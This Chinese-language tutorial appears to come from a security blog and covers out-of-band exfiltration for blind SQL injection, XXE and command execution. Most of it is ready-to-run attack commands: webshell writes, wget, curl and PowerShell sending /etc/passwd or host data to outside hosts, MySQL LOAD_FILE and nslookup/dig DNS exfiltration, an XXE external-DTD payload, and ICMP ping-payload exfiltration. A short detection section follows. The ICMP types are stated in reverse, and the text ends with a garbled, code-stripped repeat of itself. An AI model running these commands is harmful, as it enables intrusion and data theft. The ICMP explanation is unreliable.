带外通道技术(OOB)总结
字数 1264 2025-08-18 11:38:28

带外通道技术(OOB)全面教学文档

一、OOB技术概述

带外通道技术(OOB, Out-of-Band)是一种在渗透测试中用于处理无回显漏洞的技术手段。当攻击者遇到关闭回显的漏洞(如XXE盲注、SQL盲注、反序列化无回显等)时,OOB技术提供了一种通过其他通道获取数据的方法。

核心原理

  • 利用脆弱实体生成带外的TCP/UDP/ICMP请求
  • 通过这些请求提取数据
  • 能够逃避监控、绕过防火墙并更好地隐藏攻击行为

二、可回显漏洞利用

1. 注入漏洞(OWASP TOP 10)

  • 联合查询
  • 报错注入
  • 盲注直接利用

2. XXE漏洞

  • 直接引用DTD外部实体声明
  • 常见利用方式:
    • 读取任意文件
    • 执行系统命令
    • 探测内网端口
    • 攻击内网网站

3. 命令执行&代码执行

代码执行

  • PHP: eval、preg_replace + /e模式、assert
  • Javascript: eval
  • Vbscript: Execute、Eval
  • Python: exec
  • 直接写入webshell

命令执行

Windows:

  1. 信息收集

    net view  # 获取当前组的计算机名
    net view /domain  # 查看所有域
    net user  # 查看用户
    
  2. 读取文件

    dir /s/a-d/b d:*.php  # 查找所有php文件位置
    
  3. 文件写入

    echo ^<^?php @eval^(^$^_POST[value]^)^?^> > D:\phpStudy\PHPTutorial\WWW\shell.php
    
  4. 使用msf等后门

Linux:

  1. 常见函数:

    • system、exec、assert、shell_exec、passthru、popen、proc_popen、escapeshellcmd、pcntl_exec
  2. 特殊符号:

    • |、输入输出/重定向、通配符
  3. 敏感数据获取

    echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > shell.php
    
  4. DNS等持续性后门

三、无回显OOB技术

1. HTTP通道

Windows:

  • 使用curl上传文件:

    curl -T {path to file} ftp://xxx.xxx.xxx.xxx --user {username}:{password}
    
  • 使用wget发送数据:

    wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" http://example.com/1.php
    
  • PowerShell发送数据:

    ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnslog:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!
    

Linux:

  • 使用wget发送POST请求:
    wget --post-data exfil='cat /etc/passwd' http://example.com
    

2. DNS通道

原理:

  • 利用DNS解析过程传输数据
  • 将数据放在子域名中,通过DNS查询记录获取

SQL盲注利用:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.example.com\\test'));

条件:

  • MySQL中secure_file_priv=""或指定路径
  • MySQL 5.5.34及以下版本

XXE利用:

  1. 创建DTD文件:

    <!ENTITY % data SYSTEM "file:///etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:9000/%data;'>">
    
  2. 加载外部实体的XML:

    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://ip:9000/linux.dtd">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>
    

Windows数据提取:

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.example.com && nslookup !FINAL!"

Linux数据提取:

var=11111 && for b in $(ifconfig|xxd -p); do var=$((var+1)) && dig $var.$b.example.com; done

3. ICMP通道

ICMP报文结构:

  • 类型:0表示请求,8表示响应
  • 代码:与类型共同标识ICMP报文详细类型
  • 检验和:对整个ICMP数据报的校验
  • 标识:标识ICMP进程
  • 序列号:每次请求递增
  • 选项数据:可存放任何数据,长度受MTU限制

Windows利用:

ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('ip/dns',60 * 1000, $sendbytes, $PingOptions);

Linux利用:

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 192.168.1.1;done

数据提取:

tcpdump 'icmp and src host 192.168.1.130' -w icmp.pcap
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

四、检测与防御

1. DNS隧道检测

  • 载荷分析:检测主机名超过50个字符的DNS请求
  • 流量监测:检测DNS流量变化和速率
  • 类型检测:关注TXT类型的DNS报文
  • 编码检测:识别Base64、Binary、Hex等编码特征

2. ICMP隧道防御

  • 完全禁止ping请求
  • 解析包体内容,检测非标准data内容

3. HTTP注入检测

  • Kibana规则示例:
    uri:"select" OR uri:"load_file" OR data:"select" OR data:"load_file" OR cookie:"select"
    

4. XXE检测

  • Kibana规则示例:
    data:("xml version" AND entity AND system AND "file")  # 任意文件读取
    data:("xml version" AND entity AND system AND expect) # 命令执行
    data:("xml version" AND entity AND system AND http)   # 端口探测
    

五、工具与资源

带外通道技术(OOB)全面教学文档 一、OOB技术概述 带外通道技术(OOB, Out-of-Band)是一种在渗透测试中用于处理无回显漏洞的技术手段。当攻击者遇到关闭回显的漏洞(如XXE盲注、SQL盲注、反序列化无回显等)时,OOB技术提供了一种通过其他通道获取数据的方法。 核心原理 利用脆弱实体生成带外的TCP/UDP/ICMP请求 通过这些请求提取数据 能够逃避监控、绕过防火墙并更好地隐藏攻击行为 二、可回显漏洞利用 1. 注入漏洞(OWASP TOP 10) 联合查询 报错注入 盲注直接利用 2. XXE漏洞 直接引用DTD外部实体声明 常见利用方式: 读取任意文件 执行系统命令 探测内网端口 攻击内网网站 3. 命令执行&代码执行 代码执行 PHP: eval、preg_ replace + /e模式、assert Javascript: eval Vbscript: Execute、Eval Python: exec 直接写入webshell 命令执行 Windows: 信息收集 读取文件 文件写入 使用msf等后门 Linux: 常见函数: system、exec、assert、shell_ exec、passthru、popen、proc_ popen、escapeshellcmd、pcntl_ exec 特殊符号: |、输入输出/重定向、通配符 敏感数据获取 DNS等持续性后门 三、无回显OOB技术 1. HTTP通道 Windows: 使用curl上传文件: 使用wget发送数据: PowerShell发送数据: Linux: 使用wget发送POST请求: 2. DNS通道 原理: 利用DNS解析过程传输数据 将数据放在子域名中,通过DNS查询记录获取 SQL盲注利用: 条件: MySQL中secure_ file_ priv=""或指定路径 MySQL 5.5.34及以下版本 XXE利用: 创建DTD文件: 加载外部实体的XML: Windows数据提取: Linux数据提取: 3. ICMP通道 ICMP报文结构: 类型:0表示请求,8表示响应 代码:与类型共同标识ICMP报文详细类型 检验和:对整个ICMP数据报的校验 标识:标识ICMP进程 序列号:每次请求递增 选项数据:可存放任何数据,长度受MTU限制 Windows利用: Linux利用: 数据提取: 四、检测与防御 1. DNS隧道检测 载荷分析 :检测主机名超过50个字符的DNS请求 流量监测 :检测DNS流量变化和速率 类型检测 :关注TXT类型的DNS报文 编码检测 :识别Base64、Binary、Hex等编码特征 2. ICMP隧道防御 完全禁止ping请求 解析包体内容,检测非标准data内容 3. HTTP注入检测 Kibana规则示例: 4. XXE检测 Kibana规则示例: 五、工具与资源 BeEF Project Responder Guide DNSExfiltrator